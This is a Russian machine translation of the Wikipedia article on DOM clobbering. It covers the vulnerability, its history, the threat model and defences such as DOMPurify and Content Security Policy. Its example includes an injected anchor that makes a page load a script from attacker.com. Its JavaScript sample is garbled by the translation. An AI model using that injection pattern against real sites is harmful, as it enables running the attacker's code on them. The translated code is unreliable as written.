Jump to content

Затирание DOM

Это хорошая статья. Нажмите здесь для получения дополнительной информации.

В интернет-безопасности закрытие DOM (где DOM означает объектную модель документа ) — это тип атаки с внедрением , которая вращается вокруг возможности злоумышленника вставить безобидный HTML- код, не связанный со сценарием, который можно использовать для влияния на выполнение кода JavaScript . Это позволяет опытному злоумышленнику выполнять различные нежелательные действия, включая возможность перейти к выполнению произвольного кода на веб-сайте.

Хотя об уязвимости известно уже более десяти лет, недавние попытки полностью устранить ее оказались безуспешными из-за значительного использования базовых функций в Интернете по состоянию на 2021 год. Однако было выявлено несколько средств защиты, ограничивающих последствия. предотвращения стирания DOM и предотвращения некоторых случаев стирания DOM.

Уязвимость [ править ]

Уязвимость, связанная с закрытием DOM, возникает из-за конфликта имен между контекстом выполнения JavaScript и элементами HTML в объектной модели документа (DOM). Когда undefined Переменная JavaScript объявляется в том же контексте, что и элемент HTML с тем же name или id параметр, браузер назначит HTML-элемент undefined переменная. [1] Такое поведение можно использовать для выборочного влияния на выполнение JavaScript путем регистрации элементов HTML, совпадающих с определенными переменными, влияющими на выполнение кода. В некоторых случаях стирание DOM можно даже использовать для скрытия законных браузера API путем скрытия дерева свойств с помощью элементов HTML DOM. Это может привести к тому, что злоумышленник будет манипулировать выполнением различных частей кода JavaScript, внедряя определенную разметку. [2] [3]

Опытный злоумышленник может выполнить произвольные открытые перенаправления , перезаписав window.location атрибут, подделку межсайтового запроса или даже выполнение произвольного кода путем тщательного манипулирования элементами HTML. В рамках исследования, проведенного в 2023 году, Ходаяри и др. показал, что из 5 тысяч лучших веб-сайтов в мире (согласно списку Tranco) 9,8% сайтов были уязвимы для этой атаки, включая такие сайты, как Wikibooks , GitHub , Fandom и Trello . [4]

История [ править ]

О существовании стирания DOM известно как минимум с 2010 года, когда в статье исследователей из Калифорнийского университета в Беркли и Университета Карнеги-Меллон была продемонстрирована атака, в которой iframe назывался self может использоваться для перехода со страницы на другую страницу, что нарушает политику одного и того же источника . [5] [6] За прошедшие годы исследователи безопасности нашли более сложные методы, которые позволили добиться гораздо более значительного эффекта, чем было продемонстрировано первоначально. [7] [8]

Хотя о существовании самой атаки уже было известно, сам термин «закрытие DOM» появился только в 2013 году, когда он был популяризирован публикацией в блоге исследователя безопасности Гарета Хейеса, демонстрирующей, как уязвимость может быть использована для выполнения произвольного кода. [2] В 2015 году Хайдерих и др. предложил дизайн библиотеки под названием JSAgents (позже DOMPurify), которая будет эффективна при очистке атак путем внедрения разметки, например, связанных с межсайтовым выполнением сценариев и уничтожением DOM. [9] [10] [11]

В последние годы возродился интерес к смягчению этой атаки, особенно после того, как в 2020 году в Gmail и Google Analytics были обнаружены уязвимости, закрывающие DOM . [12] были сделаны предложения, В течение 2020 и 2021 годов в различных группах по веб-стандартам подробно описывающие меры защиты от затирания DOM путем запрета именованного доступа к элементам DOM на уровне браузера. [13] [4] Однако эти предложения были отклонены, поскольку после исследования данных телеметрии Chrome было обнаружено, что более 10,5% Интернета полагаются на функции, работающие в соответствии с их текущим поведением. [14] [4]

Пример [ править ]

Чтобы продемонстрировать, как атака стирания DOM может быть использована для влияния на выполнение JavaScript, в качестве примера взят следующий фрагмент кода JavaScript:

константный   URL   =   окно  .  глобальный URLConfig   ||   {   href  :   '/code.js'   };  const   scriptElem   =   документ  .  createElement  (  'скрипт'  );  сценарийЭлем  .  источник   =   URL  .  href  ;  документ  .  тело  .  appendChild  (  scriptElem  ); 

В этом простом примере создается и впоследствии отображается на странице элемент сценария. Однако этот простой пример уязвим для стирания DOM. Злоумышленник может внедрить следующий HTML-код с помощью межсайтового сценария или других функций веб-сайта, которые могут позволить внедрение разметки.

<  a   href  =  "https://attacker.com/malicious_script.js"   id  =  "globalUrlConfig"  >  ...  </  a  > 

Эта инъекция позволит злоумышленнику перезаписать globalUrlConfig переменная со ссылкой на элемент привязки , который, в свою очередь, перезаписывает url переменная, а затем scriptElem.src параметр, (ввиду того, что url.href теперь относится к href параметр элемента привязки), приводящий к выполнению произвольного кода . [15]

Модель угроз [ править ]

Модель угрозы для атаки с блокированием DOM аналогична модели веб-злоумышленника, предложенной Akhawe et al. в 2010 году. Эта модель предполагает, что злоумышленник может отправлять электронные письма или каким-либо другим методом перенаправить жертву на определенные страницы, находящиеся под их контролем. Модель также предполагает, что злоумышленник может внедрить ограниченный набор разметки на веб-сайты жертвы. Это можно сделать, используя другие атаки, такие как межсайтовый скриптинг или злоупотребление функциями рендеринга форматированного текста на веб-странице (например, программой чтения электронной почты Gmail и редактором WYSIWYG ). [16] [17] Это очень важно, поскольку уничтожение DOM зависит от того, сможет ли злоумышленник внедрить потенциально безопасный HTML-код на веб-сайт. [18]

Защита [ править ]

Хотя оптимальной защитой от стирания DOM было бы отключение доступа к именованным элементам DOM, в настоящее время это неосуществимо из-за значительного активного использования этих функций, согласно данным телеметрии Chrome в 2021 году. [13] [14] [4] Однако для смягчения влияния блокировки DOM на выполнение кода JavaScript можно использовать различные методы безопасного кодирования. [19]

Библиотеки очистки HTML [ править ]

Одним из наиболее распространенных методов ограничения атак стирания DOM является использование библиотек очистки HTML . [20] В 2017 году Хайдерих и др. предложил способ устранения затирания DOM, который впоследствии был добавлен в библиотеку DOMPurify. Для смягчения последствий использовалось использование хэшей существующих функций, чтобы определить, не перезаписали ли их HTML-элементы. Кроме того, DOMPurify анализирует id и name атрибуты внедренных элементов, чтобы определить, могут ли они конфликтовать с существующими глобальными функциями. [21] Однако недавние уязвимости, связанные с стиранием DOM, были обнаружены в DOMPurify и подобных библиотеках, таких как HTML Janitor, что указывает на то, что эти библиотеки защищают только от определенных случаев стирания DOM и в значительной степени не осведомлены о связанных с этим рисках. [22] [23] [24]

Политика безопасности контента [ править ]

Еще одним популярным методом смягчения последствий затирания DOM является использование ограничительных политик безопасности контента (CSP). [25] Хотя это не мешает уничтожению DOM изменять выполнение уже существующего кода, [26] Использование ограничительных политик безопасности контента может значительно затруднить злоумышленникам превращение риска уничтожения DOM в атаку с выполнением произвольного кода, ограничивая возможность выполнения сценариев на веб-сайте. Используя script-src Директивой CSP веб-разработчики могут ограничить возможность загрузки сценариев заранее определенным набором доверенных доменов. [25] Это существенно лишает злоумышленника возможности загрузить ненадежный код, контролируемый злоумышленником, если он может скомпрометировать src атрибут тега скрипта. [27]

См. также [ править ]

Ссылки [ править ]

Цитаты [ править ]

  1. ^ Лекиес и др. 2017 , с. 1712.
  2. Перейти обратно: Перейти обратно: а б Ходаяри и Пеллегрино, 2023 , стр. 101-1. 1043, 1044.
  3. ^ «Уменьшение атак стирания DOM в JavaScript» . Сник . 07.08.2023 . Проверено 30 октября 2023 г.
  4. Перейти обратно: Перейти обратно: а б с д Ходаяри и Пеллегрино 2023 , с. 1050.
  5. ^ Ходаяри и Пеллегрино 2023 , с. 1053.
  6. ^ Бейтс, Дэниел; Барт, Адам; Джексон, Коллин (26 апреля 2010 г.). «Регулярные выражения считаются вредными в XSS-фильтрах на стороне клиента» . Материалы 19-й международной конференции по Всемирной паутине . WWW '10. Нью-Йорк, штат Нью-Йорк, США: Ассоциация вычислительной техники. стр. 91–100. дои : 10.1145/1772690.1772701 . ISBN  978-1-60558-799-8 . S2CID   730078 .
  7. ^ Ходаяри и Пеллегрино 2023 , с. 1041.
  8. ^ «Разрушение DOM | Академия веб-безопасности» . www.portswigger.net . Проверено 30 октября 2023 г.
  9. ^ Хайдерих, Нимитц и Швенк 2015 , стр. 24–25.
  10. ^ Heiderich, Späth & Schwenk 2017 , стр. 117–118.
  11. ^ Лекиес и др. 2017 , стр. 1710, 1714.
  12. ^ «DOM Clobbering наносит ответный удар» . Исследование ПортСвиггера . 06 февраля 2020 г. Проверено 9 ноября 2023 г.
  13. Перейти обратно: Перейти обратно: а б «Отключить стирание DOM. · Проблема № 349 · w3c/webappsec-permissions-policy» . Гитхаб . Проверено 9 ноября 2023 г.
  14. Перейти обратно: Перейти обратно: а б «Состояние платформы Chrome» . chromestatus.com . Проверено 9 ноября 2023 г.
  15. ^ Ходаяри и Пеллегрино 2023 , с. 1042.
  16. ^ Хайдерих, Шпет и Швенк 2017 , с. 117.
  17. ^ Ахаве и др. 2010 , стр. 291–294.
  18. ^ Ходаяри и Пеллегрино 2023 , с. 1043.
  19. ^ Ходаяри и Пеллегрино 2023 , с. 1052.
  20. ^ Ходаяри и Пеллегрино 2023 , с. 1051.
  21. ^ Хайдерих, Шпет и Швенк 2017 , с. 122-124.
  22. ^ Ходаяри и Пеллегрино, 2023 , стр. 101-1. 1051, 1053.
  23. ^ «Публикации/pentest-report_dompurify.pdf на странице master · cur53/Publications» (PDF) . Гитхаб . Проверено 10 ноября 2023 г.
  24. ^ «Сторонние модули Node.js, раскрытые на HackerOne: [html-janitor]...» HackerOne . Проверено 10 ноября 2023 г.
  25. Перейти обратно: Перейти обратно: а б Roth, Backes & Stock 2020 , с. 420.
  26. ^ Лекиес и др. 2017 , с. 1717.
  27. ^ «Предотвращение стирания DOM – серия шпаргалок OWASP» . cheatsheetseries.owasp.org . Проверено 10 ноября 2023 г.

Источники [ править ]

Дальнейшее чтение [ править ]

Arc.Ask3.Ru: конец переведенного документа.
Arc.Ask3.Ru
Номер скриншота №: 0d6315f6e5c14e37a52eb185ac362b4d__1712544960
URL1:https://arc.ask3.ru/arc/aa/0d/4d/0d6315f6e5c14e37a52eb185ac362b4d.html
Заголовок, (Title) документа по адресу, URL1:
DOM clobbering - Wikipedia
Данный printscreen веб страницы (снимок веб страницы, скриншот веб страницы), визуально-программная копия документа расположенного по адресу URL1 и сохраненная в файл, имеет: квалифицированную, усовершенствованную (подтверждены: метки времени, валидность сертификата), открепленную ЭЦП (приложена к данному файлу), что может быть использовано для подтверждения содержания и факта существования документа в этот момент времени. Права на данный скриншот принадлежат администрации Ask3.ru, использование в качестве доказательства только с письменного разрешения правообладателя скриншота. Администрация Ask3.ru не несет ответственности за информацию размещенную на данном скриншоте. Права на прочие зарегистрированные элементы любого права, изображенные на снимках принадлежат их владельцам. Качество перевода предоставляется как есть. Любые претензии, иски не могут быть предъявлены. Если вы не согласны с любым пунктом перечисленным выше, вы не можете использовать данный сайт и информация размещенную на нем (сайте/странице), немедленно покиньте данный сайт. В случае нарушения любого пункта перечисленного выше, штраф 55! (Пятьдесят пять факториал, Денежную единицу (имеющую самостоятельную стоимость) можете выбрать самостоятельно, выплаичвается товарами в течение 7 дней с момента нарушения.)